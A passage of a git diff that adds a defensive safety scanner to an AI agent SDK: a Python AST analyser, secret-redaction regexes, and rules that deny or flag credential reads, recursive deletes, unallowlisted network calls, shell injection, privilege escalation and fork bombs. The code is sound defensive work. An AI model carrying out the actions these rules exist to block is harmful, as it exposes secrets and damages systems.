"pathlib.Path.write_bytes"}: + sink_kind = "file" + sink_name = canonical + # Detect calls on a local variable named ``logger``/``log`` whose + # method is a known logging primitive. + if sink_kind is None and isinstance(node.func, ast.Attribute): + method = node.func.attr + if method in {"info", "debug", "warning", "warn", + "error", "critical", "exception", "log"}: + if isinstance(node.func.value, ast.Name) \ + and node.func.value.id.lower() in {"log", "logger", + "logging"}: + sink_kind = "output" + sink_name = f"log.{method}" + if sink_kind is None: + return + if not self._tainted_flows_into_call(node): + return + # Also check large constant writes to file + if sink_kind == "file": + size = self._static_size(node.args[-1] if node.args else None) + if size is not None and size > 0: + target = _const_str(node.args[0]) if node.args else "" or "" + self.large_writes.append(LargeWriteFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + size=size, + target=target, + raw=canonical, + )) + self.secret_flows.append(SecretFlowFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + source="", + sink=sink_name or canonical, + sink_kind=sink_kind, # type: ignore[arg-type] + )) + + # ----- loops ----- # + + def _visit_loop(self, node: ast.AST) -> None: + if isinstance(node, ast.While): + test = node.test + if isinstance(test, ast.Constant) and test.value is True: + # while True with no break -> unbounded + if not _has_break(node): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind="while-True", + )) + return + if isinstance(test, ast.Name) and test.id == "True": + if not _has_break(node): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind="while-True-name", + )) + elif isinstance(node, ast.For): + iter_node = node.iter + if isinstance(iter_node, ast.Call): + target_name = self._canonical_name(iter_node.func) + if target_name in {"itertools.cycle", "iter"} \ + and not _has_break(node): + self.unbounded_loops.append(UnboundedLoopFact( + snippet=_src_segment(self.source, node), + loc=_loc(node), + kind=target_name, + )) + + # ----- helpers ----- # + + def _canonical_name(self, node: ast.AST) -> str: + if isinstance(node, ast.Name): + return self._alias_to_canonical.get(node.id, node.id) + if isinstance(node, ast.Attribute): + base = self._canonical_name(node.value) + if not base: + return node.attr + return f"{base}.{node.attr}" + return "" + + def _name_of(self, node: ast.AST) -> str: + if isinstance(node, ast.Name): + return node.id + return "" + + def _tainted_flows_into_call(self, node: ast.Call) -> bool: + for arg in list(node.args) + [kw.value for kw in node.keywords]: + if self._expr_tainted(arg): + return True + return False + + def _expr_tainted(self, node: ast.AST) -> bool: + if isinstance(node, ast.Constant) and isinstance(node.value, str): + return contains_secret_literal(node.value) + if isinstance(node, ast.Name): + return node.id in self._tainted + if isinstance(node, ast.Subscript): + return self._secret_source_label(node) is not None + if isinstance(node, ast.JoinedStr): + return any(self._expr_tainted(v) for v in node.values) + if isinstance(node, ast.FormattedValue): + return self._expr_tainted(node.value) + if isinstance(node, ast.BinOp): + return self._expr_tainted(node.left) \ + or self._expr_tainted(node.right) + if isinstance(node, (ast.List, ast.Tuple, ast.Set)): + return any(self._expr_tainted(e) for e in node.elts) + if isinstance(node, ast.Dict): + return any(self._expr_tainted(v) for v in node.values + if v is not None) + if isinstance(node, ast.Call): + # open() etc + return any(self._expr_tainted(a) for a in node.args) + return False + + def _static_size(self, node: ast.AST | None) -> int | None: + if node is None: + return None + if isinstance(node, ast.Constant) and isinstance(node.value, (bytes, str)): + return len(node.value) + if isinstance(node, ast.JoinedStr): + total = 0 + for value in node.values: + size = self._static_size(value) + if size is None: + return None + total += size + return total + if isinstance(node, ast.FormattedValue): + return None + if isinstance(node, ast.BinOp) and isinstance(node.op, ast.Add): + left = self._static_size(node.left) + right = self._static_size(node.right) + if left is None or right is None: + return None + return left + right + return None + + def _facts(self) -> ScriptFacts: + return ScriptFacts( + language=ScriptLanguage.PYTHON, + file_deletes=tuple(self.file_deletes), + file_writes=tuple(self.file_writes), + file_reads=tuple(self.file_reads), + network_calls=tuple(self.network_calls), + process_calls=tuple(self.process_calls), + shell_operators=tuple(self.shell_operators), + privilege_commands=tuple(self.privilege_commands), + dependency_installs=tuple(self.dependency_installs), + unbounded_loops=tuple(self.unbounded_loops), + fork_bombs=tuple(self.fork_bombs), + long_sleeps=tuple(self.long_sleeps), + concurrency=tuple(self.concurrency), + large_writes=tuple(self.large_writes), + secret_flows=tuple(self.secret_flows), + dynamic_execs=tuple(self.dynamic_execs), + parse_errors=tuple(self.parse_errors), + ) + + +# --------------------------------------------------------------------------- # +# Module-level helpers +# --------------------------------------------------------------------------- # + +def _first_arg(call: ast.Call) -> ast.AST | None: + return call.args[0] if call.args else None + + +def _has_break(node: ast.AST) -> bool: + for inner in ast.walk(node): + if isinstance(inner, ast.Break): + return True + return False + + +def _host_from_url(text: str) -> str: + if "://" in text: + text = text.split("://", 1)[1] + if "@" in text: + text = text.rsplit("@", 1)[1] + if "/" in text: + text = text.split("/", 1)[0] + if ":" in text: + text = text.split(":", 1)[0] + return text.lower().strip().rstrip(".") + + +def _looks_dynamic_host(host: str) -> bool: + """Heuristic: True if the host text contains interpolation artifacts.""" + + if not host: + return True + return any(ch in host for ch in "{}$") + + +def _SHELL_OPERATORS_IN(text: str) -> list[str]: + hits: list[str] = [] + for op in ("&&", "||", "|", ";", "`", "$(", "&"): + if op in text: + hits.append(op) + return hits + + +# --------------------------------------------------------------------------- # +# Rule wrapper +# --------------------------------------------------------------------------- # + +class PythonScannerRule(_LanguageScannerRule, SafetyRule): + """Rule that runs the Python scanner once and evaluates the catalog.""" + + rule_id = "python_scanner" + + def __init__(self) -> None: + super().__init__(ScriptLanguage.PYTHON) + + def _extract(self, request) -> ScriptFacts: # type: ignore[override] + scanner = _PythonScanner(request.script) + scanner.parse() + return scanner.scan() + + +def scan_python(source: str) -> ScriptFacts: + """Public entry for tests that want raw facts.""" + + scanner = _PythonScanner(source) + scanner.parse() + return scanner.scan() diff --git a/trpc_agent_sdk/tools/safety/_redaction.py b/trpc_agent_sdk/tools/safety/_redaction.py new file mode 100644 index 00000000..d2839234 --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_redaction.py @@ -0,0 +1,177 @@ +"""Redaction of secrets, env values, and oversized evidence. + +Redaction runs before any serialization (report JSON, audit JSONL, span +attributes, structured log fields). The redactor is registered with the +known environment values upfront so subsequent calls are O(snippets). +""" + +from __future__ import annotations + +import hashlib +import re +from typing import Iterable + +from trpc_agent_sdk.tools.safety._models import EVIDENCE_MAX_CHARS, Evidence, ScriptLanguage + +# Patterns for common secret formats. Order matters: longer/more specific +# patterns first so their redaction wins over generic ones. +_SECRET_PATTERNS: tuple[tuple[str, re.Pattern[str]], ...] = ( + ("private_key_block", re.compile( + r"-----BEGIN (?:RSA |EC |OPENSSH |PGP |DSA )?PRIVATE KEY-----" + r".*?-----END (?:RSA |EC |OPENSSH |PGP |DSA )?PRIVATE KEY-----", + re.DOTALL | re.IGNORECASE, + )), + ("bearer_token", re.compile( + r"\b(?:Bearer|Token)\s+[A-Za-z0-9._\-+/=]{8,}", re.IGNORECASE, + )), + ("api_key_slash", re.compile( + r"\bsk-[A-Za-z0-9]{16,}\b", + )), + ("aws_access_key", re.compile( + r"\bAKIA[0-9A-Z]{16}\b", + )), + ("aws_secret_key", re.compile( + r"\b(?:aws_|aws_secret_access_key\s*[:=]\s*)[A-Za-z0-9/+=]{40}\b", + re.IGNORECASE, + )), + ("jwt", re.compile( + r"\beyJ[A-Za-z0-9_\-]{8,}\.[A-Za-z0-9_\-]{8,}\.[A-Za-z0-9_\-]{8,}\b", + )), + ("github_token", re.compile( + r"\b(?:gh[ps]_|github_pat_)[A-Za-z0-9]{16,}\b", + )), + ("generic_password_assign", re.compile( + r"(?Ppassword|passwd|pwd|secret|api[_-]?key|access[_-]?token)" + r"\s*[:=]\s*[\"\']?" + r"(?P[^\"\'\s,;)}\]]{4,})", + re.IGNORECASE, + )), + ("hex_secret_32", re.compile( + r"\b[0-9a-fA-F]{32,64}\b", + )), +) + +_PLACEHOLDER = "" +_ENV_PLACEHOLDER = "" +_REDACTION_MARKER = " str: + return hashlib.sha256(value.encode("utf-8", errors="ignore")).hexdigest()[:8] + + +class Redactor: + """Stateful redactor that knows the request's env values. + + The redactor never persists raw secrets: env values are hashed into a + short digest so audit logs can correlate "same value" without learning + the value itself. + """ + + def __init__(self, env_values: Iterable[str] = (), *, + evidence_max_chars: int = EVIDENCE_MAX_CHARS) -> None: + self._evidence_max_chars = max(0, evidence_max_chars) + # Sort longer first so we replace the longest secrets before shorter + # substrings of the same value can match. + values = sorted({v for v in env_values if v}, key=len, reverse=True) + self._env_values = values + self._active = False + + @property + def active(self) -> bool: + """Whether this redactor has replaced a secret in emitted evidence.""" + + return self._active + + def redact(self, text: str) -> str: + """Return a redacted copy of ``text``.""" + + if not text: + return text + redacted = text + for value in self._env_values: + if value and value in redacted: + placeholder = _ENV_PLACEHOLDER.format(digest=_digest(value)) + redacted = redacted.replace(value, placeholder) + self._active = True + for kind, pattern in _SECRET_PATTERNS: + before = redacted + redacted = _apply_pattern(redacted, kind, pattern) + if redacted != before: + self._active = True + return redacted + + def truncate(self, text: str) -> str: + """Bound the text length, keeping head and tail with a marker.""" + + if len(text) <= self._evidence_max_chars: + return text + if self._evidence_max_chars <= 16: + return text[: self._evidence_max_chars] + keep = self._evidence_max_chars - 5 + head = keep // 2 + tail = keep - head + return f"{text[:head]}…<+{len(text) - keep}>…{text[-tail:]}" + + def build_evidence( + self, + *, + snippet: str, + line: int = 0, + column: int = 0, + language: ScriptLanguage = ScriptLanguage.UNKNOWN, + extras: dict[str, str] | None = None, + ) -> Evidence: + """Build a fully redacted, bounded :class:`Evidence`.""" + + clean_extras = {k: self.truncate(self.redact(str(v))) + for k, v in (extras or {}).items()} + return Evidence( + snippet=self.truncate(self.redact(snippet)), + line=max(0, int(line or 0)), + column=max(0, int(column or 0)), + language=language, + extras=tuple(clean_extras.items()) and dict(clean_extras) or {}, + ) + + +def _apply_pattern(text: str, kind: str, pattern: re.Pattern[str]) -> str: + def _sub(match: re.Match[str]) -> str: + if "value" in match.groupdict(): + value = match.group("value") + key = match.groupdict().get("key", kind) + placeholder = _PLACEHOLDER.format( + kind=key.lower() if isinstance(key, str) else kind, + digest=_digest(value), + ) + return match.group(0).replace(value, placeholder) + placeholder = _PLACEHOLDER.format(kind=kind, digest=_digest(match.group(0))) + return placeholder + + return pattern.sub(_sub, text) + + +def contains_secret_literal(value: str) -> bool: + """Return whether a string literal resembles a credential. + + This is intentionally shared with :class:`Redactor` so a literal that is + blocked as a potential leak is guaranteed to be redacted in its evidence. + """ + + return any(pattern.search(value) is not None + for _, pattern in _SECRET_PATTERNS) + + +def evidence_was_redacted(evidence: Evidence) -> bool: + """Return whether serialized evidence contains a redaction placeholder.""" + + if _REDACTION_MARKER in evidence.snippet: + return True + return any(_REDACTION_MARKER in value + for value in evidence.extras.values()) + + +def make_default_redactor(env_values: Iterable[str] = ()) -> Redactor: + """Convenience constructor used by the guard.""" + + return Redactor(env_values) diff --git a/trpc_agent_sdk/tools/safety/_rules.py b/trpc_agent_sdk/tools/safety/_rules.py new file mode 100644 index 00000000..d5e5869d --- /dev/null +++ b/trpc_agent_sdk/tools/safety/_rules.py @@ -0,0 +1,1072 @@ +"""SafetyRule protocol, default rule catalog, and registry. + +Rules are deliberately grouped into three substantial rule objects +(``PythonScannerRule``, ``BashScannerRule``, ``CrossFieldScannerRule``) +so each scanner parses its input once and the rule catalog consumes the +resulting :class:`ScriptFacts` without re-walking the source. + +Per-rule action overrides come from the policy (``rule_overrides``) and +are applied at finding construction time so the catalog stays declarative. +""" + +from __future__ import annotations + +import ipaddress +from typing import Iterable, Protocol, Sequence, runtime_checkable + +from trpc_agent_sdk.tools.safety._facts import ( + ConcurrencyFact, + DependencyInstallFact, + DynamicExecFact, + FileDeleteFact, + FileReadFact, + FileWriteFact, + ForkBombFact, + LargeWriteFact, + LongSleepFact, + NetworkFact, + ParseErrorFact, + PrivilegeFact, + ProcessFact, + ScriptFacts, + SecretFlowFact, + ShellOperatorFact, + UnboundedLoopFact, +) +from trpc_agent_sdk.tools.safety._models import ( + Evidence, + RiskCategory, + RiskLevel, + SafetyDecision, + SafetyFinding, + SafetyScanRequest, + ScriptLanguage, +) +from trpc_agent_sdk.tools.safety._policy import ( + ToolSafetyPolicy, + match_domain, + match_path_glob, +) +from trpc_agent_sdk.tools.safety._redaction import Redactor + + +@runtime_checkable +class SafetyRule(Protocol): + """A rule consumes a request and policy and emits findings. + + Rules must not perform file I/O, network access, or process creation. + They are pure functions over their inputs. + """ + + rule_id: str + + def scan( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + ) -> Iterable[SafetyFinding]: ... + + +# --------------------------------------------------------------------------- # +# Decision override helper +# --------------------------------------------------------------------------- # + +def resolve_decision( + rule_id: str, + proposed: SafetyDecision, + policy: ToolSafetyPolicy, +) -> SafetyDecision: + """Apply ``rule_overrides`` and the unknown-construct default. + + ``rule_overrides`` wins when set; otherwise the proposed decision is + returned unchanged. + """ + + override = policy.rule_overrides.get(rule_id) + if override == "allow": + return SafetyDecision.ALLOW + if override == "needs_human_review": + return SafetyDecision.NEEDS_HUMAN_REVIEW + if override == "deny": + return SafetyDecision.DENY + return proposed + + +def _default_unknown(policy: ToolSafetyPolicy) -> SafetyDecision: + mapping = { + "allow": SafetyDecision.ALLOW, + "needs_human_review": SafetyDecision.NEEDS_HUMAN_REVIEW, + "deny": SafetyDecision.DENY, + } + return mapping.get(policy.defaults.unknown_construct, + SafetyDecision.NEEDS_HUMAN_REVIEW) + + +# --------------------------------------------------------------------------- # +# Catalog: one checker per rule id +# --------------------------------------------------------------------------- # + +def _finding( + *, + rule_id: str, + category: RiskCategory, + risk: RiskLevel, + decision: SafetyDecision, + snippet: str, + line: int = 0, + column: int = 0, + language: ScriptLanguage, + redactor: Redactor, + recommendation: str, + extras: dict[str, str] | None = None, +) -> SafetyFinding: + evidence = redactor.build_evidence( + snippet=snippet, + line=line, + column=column, + language=language, + extras=extras, + ) + return SafetyFinding( + rule_id=rule_id, + category=category, + risk_level=risk, + decision=decision, + evidence=evidence, + recommendation=recommendation, + ) + + +def check_file_recursive_delete( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.file_deletes: + if not fact.recursive: + continue + decision = resolve_decision( + "FILE001_RECURSIVE_DELETE", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="FILE001_RECURSIVE_DELETE", + category=RiskCategory.FILE, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Avoid recursive delete; require explicit file list.", + extras={"target": fact.target, "explicit": str(fact.explicit)}, + )) + return out + + +def check_file_denied_write( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.file_writes: + if not fact.explicit: + # Dynamic target -- escalate to review, then check deny list. + if not _matches_denied_path(fact.target, policy): + decision = resolve_decision( + "FILE002_DENIED_WRITE", + _default_unknown(policy), + policy, + ) + if decision != SafetyDecision.ALLOW: + out.append(_finding( + rule_id="FILE002_DENIED_WRITE", + category=RiskCategory.FILE, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Static target could not be resolved; review the write path.", + extras={"target": ""}, + )) + continue + if _matches_denied_path(fact.target, policy): + decision = resolve_decision( + "FILE002_DENIED_WRITE", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="FILE002_DENIED_WRITE", + category=RiskCategory.FILE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Write target is on the denied path list.", + extras={"target": fact.target}, + )) + return out + + +def check_file_credential_read( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.file_reads: + if fact.kind != "credential": + continue + decision = resolve_decision( + "FILE003_CREDENTIAL_READ", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="FILE003_CREDENTIAL_READ", + category=RiskCategory.FILE, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Reading credentials at runtime is forbidden.", + extras={"target": fact.target}, + )) + return out + + +def check_file_dotenv_read( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.file_reads: + if fact.kind != "dotenv": + continue + decision = resolve_decision( + "FILE004_DOTENV_READ", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="FILE004_DOTENV_READ", + category=RiskCategory.FILE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Loading .env at runtime can leak secrets; inject via env.", + extras={"target": fact.target}, + )) + return out + + +def check_network_non_allowlist( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + allow = policy.network.allow_domains + for fact in facts.network_calls: + if fact.dynamic or not fact.target: + continue + if match_domain(fact.target, allow): + continue + decision = resolve_decision( + "NET001_DOMAIN_NOT_ALLOWED", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="NET001_DOMAIN_NOT_ALLOWED", + category=RiskCategory.NETWORK, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Host is not on the allow list; add it explicitly.", + extras={"host": fact.target, "library": fact.library}, + )) + return out + + +def check_network_ip_literals( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + """Reject literal IP targets when the policy disables them. + + This remains separate from the domain allowlist rule: an operator may + deliberately allow a loopback IP for a local test service, but still + choose whether IP literals are globally acceptable. + """ + + if not policy.network.deny_ip_literals: + return [] + out: list[SafetyFinding] = [] + for fact in facts.network_calls: + if fact.dynamic or not _is_ip_literal(fact.target): + continue + decision = resolve_decision( + "NET003_IP_LITERAL", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="NET003_IP_LITERAL", + category=RiskCategory.NETWORK, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Use an explicitly allowlisted DNS name instead of an IP literal.", + extras={"host": fact.target, "library": fact.library}, + )) + return out + + +def check_network_dynamic_target( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.network_calls: + if not fact.dynamic: + continue + decision = resolve_decision( + "NET002_DYNAMIC_TARGET", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="NET002_DYNAMIC_TARGET", + category=RiskCategory.NETWORK, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Network target is computed at runtime; review before executing.", + extras={"library": fact.library}, + )) + return out + + +def check_process_exec( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + allow = policy.commands.allow + deny = policy.commands.deny + for fact in facts.process_calls: + executable = _first_token(fact.command).lower() + if executable in deny: + decision = resolve_decision( + "PROC001_PROCESS_EXEC", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="PROC001_PROCESS_EXEC", + category=RiskCategory.PROCESS, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Executable is on the deny list.", + extras={"executable": executable}, + )) + continue + # If shell=True, PROC002 handles it. + if fact.shell is True: + continue + # If has operators, PROC003 handles it. + if fact.has_operators: + continue + # Empty/dynamic executable: cannot statically resolve, emit review. + if not executable: + decision = resolve_decision( + "PROC001_PROCESS_EXEC", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="PROC001_PROCESS_EXEC", + category=RiskCategory.PROCESS, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Process executable is computed at runtime; review before executing.", + extras={"executable": ""}, + )) + continue + # If the command is in user allow list, no finding. + if allow and executable in allow: + continue + # If the command is a known safe read-only command, skip PROC001. + # Other rules (file read, network, secret) still apply. + if executable in _SAFE_BASH_COMMANDS and language == ScriptLanguage.BASH: + continue + # Allow list configured but command not in it -> review. + if allow: + decision = resolve_decision( + "PROC001_PROCESS_EXEC", + SafetyDecision.NEEDS_HUMAN_REVIEW, + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="PROC001_PROCESS_EXEC", + category=RiskCategory.PROCESS, + risk=RiskLevel.LOW, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Executable is not on the configured allow list.", + extras={"executable": executable}, + )) + continue + # No allow list configured; trust the safe set + deny list above. + # Other catalog rules still vet file/network/secret behavior. + return out + + +def check_shell_injection( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.process_calls: + if fact.shell is not True: + continue + decision = resolve_decision( + "PROC002_SHELL_INJECTION", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="PROC002_SHELL_INJECTION", + category=RiskCategory.PROCESS, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Use argument lists (shell=False) to avoid shell injection.", + extras={"executable": _first_token(fact.command) or ""}, + )) + return out + + +def check_shell_operator( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.shell_operators: + decision = resolve_decision( + "PROC003_SHELL_OPERATOR", + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="PROC003_SHELL_OPERATOR", + category=RiskCategory.PROCESS, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Shell operators require review; split into explicit steps.", + extras={"operator": fact.operator}, + )) + return out + + +def check_privilege_escalation( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.privilege_commands: + decision = resolve_decision( + "PROC004_PRIVILEGE", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="PROC004_PRIVILEGE", + category=RiskCategory.PROCESS, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Privilege escalation commands are forbidden.", + extras={"command": fact.command}, + )) + return out + + +def check_dependency_install( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + desired = policy.dependencies.decision.lower() + proposed = { + "allow": SafetyDecision.ALLOW, + "needs_human_review": SafetyDecision.NEEDS_HUMAN_REVIEW, + "deny": SafetyDecision.DENY, + }.get(desired, SafetyDecision.DENY) + for fact in facts.dependency_installs: + decision = resolve_decision("DEP001_ENV_MUTATION", proposed, policy) + if decision == SafetyDecision.ALLOW: + continue + risk = RiskLevel.HIGH if decision == SafetyDecision.DENY else RiskLevel.MEDIUM + out.append(_finding( + rule_id="DEP001_ENV_MUTATION", + category=RiskCategory.DEPENDENCY, + risk=risk, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Dependency installation mutates the runtime image.", + extras={"manager": fact.manager, "command": fact.command}, + )) + return out + + +def check_unbounded_loop( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.unbounded_loops: + decision = resolve_decision( + "RES001_UNBOUNDED_LOOP", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="RES001_UNBOUNDED_LOOP", + category=RiskCategory.RESOURCE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Loop has no static exit condition; rewrite with a bounded range.", + extras={"kind": fact.kind}, + )) + return out + + +def check_fork_bomb( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.fork_bombs: + decision = resolve_decision( + "RES002_FORK_BOMB", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="RES002_FORK_BOMB", + category=RiskCategory.RESOURCE, + risk=RiskLevel.CRITICAL, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Fork-bomb pattern detected.", + extras={"pattern": fact.pattern}, + )) + return out + + +def check_long_sleep( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + threshold = policy.limits.max_sleep_seconds + for fact in facts.long_sleeps: + if fact.duration_seconds is None: + decision = resolve_decision( + "RES003_LONG_SLEEP", + _default_unknown(policy), + policy, + ) + risk = RiskLevel.LOW + elif fact.duration_seconds > threshold: + decision = resolve_decision( + "RES003_LONG_SLEEP", SafetyDecision.DENY, policy) + risk = RiskLevel.MEDIUM + else: + continue + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="RES003_LONG_SLEEP", + category=RiskCategory.RESOURCE, + risk=risk, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Sleep exceeds or hides its duration; verify it is bounded.", + extras={"duration_seconds": str(fact.duration_seconds), + "raw": fact.raw, "limit_seconds": str(threshold)}, + )) + return out + + +def check_concurrency( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.concurrency: + threshold = _concurrency_limit_for(fact, policy) + if fact.count is None: + decision = resolve_decision( + "RES004_CONCURRENCY", + _default_unknown(policy), + policy, + ) + risk = RiskLevel.LOW + elif fact.count > threshold: + decision = resolve_decision( + "RES004_CONCURRENCY", SafetyDecision.DENY, policy) + risk = RiskLevel.MEDIUM + else: + continue + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="RES004_CONCURRENCY", + category=RiskCategory.RESOURCE, + risk=risk, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Concurrency exceeds policy; reduce fan-out.", + extras={"count": str(fact.count), "raw": fact.raw, + "limit": str(threshold)}, + )) + return out + + +def check_large_write( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + threshold = policy.limits.max_file_write_bytes + for fact in facts.large_writes: + if fact.size is None: + decision = resolve_decision( + "RES005_LARGE_WRITE", + _default_unknown(policy), + policy, + ) + risk = RiskLevel.LOW + elif fact.size > threshold: + decision = resolve_decision( + "RES005_LARGE_WRITE", SafetyDecision.DENY, policy) + risk = RiskLevel.MEDIUM + else: + continue + if decision == SafetyDecision.ALLOW: + continue + out.append(_finding( + rule_id="RES005_LARGE_WRITE", + category=RiskCategory.RESOURCE, + risk=risk, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="File write exceeds size budget or hides its size.", + extras={"size_bytes": str(fact.size), "target": fact.target, + "limit_bytes": str(threshold)}, + )) + return out + + +def check_secret_to_output( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.secret_flows: + if fact.sink_kind != "output": + continue + decision = resolve_decision( + "SECRET001_LOG_SINK", SafetyDecision.DENY, policy) + out.append(_finding( + rule_id="SECRET001_LOG_SINK", + category=RiskCategory.SECRET, + risk=RiskLevel.HIGH, + decision=decision, + snippet=fact.snippet, + line=fact.loc.line, + column=fact.loc.column, + language=language, + redactor=redactor, + recommendation="Secret-looking value flows into a log/print sink.", + extras={"source": fact.source, "sink": fact.sink}, + )) + return out + + +def check_secret_to_file( + facts: ScriptFacts, + policy: ToolSafetyPolicy, + language: ScriptLanguage, + redactor: Redactor, +) -> list[SafetyFinding]: + out: list[SafetyFinding] = [] + for fact in facts.secret_flows: + if fact.sink_kind != "file": + continue + decision = resolve_decision( + 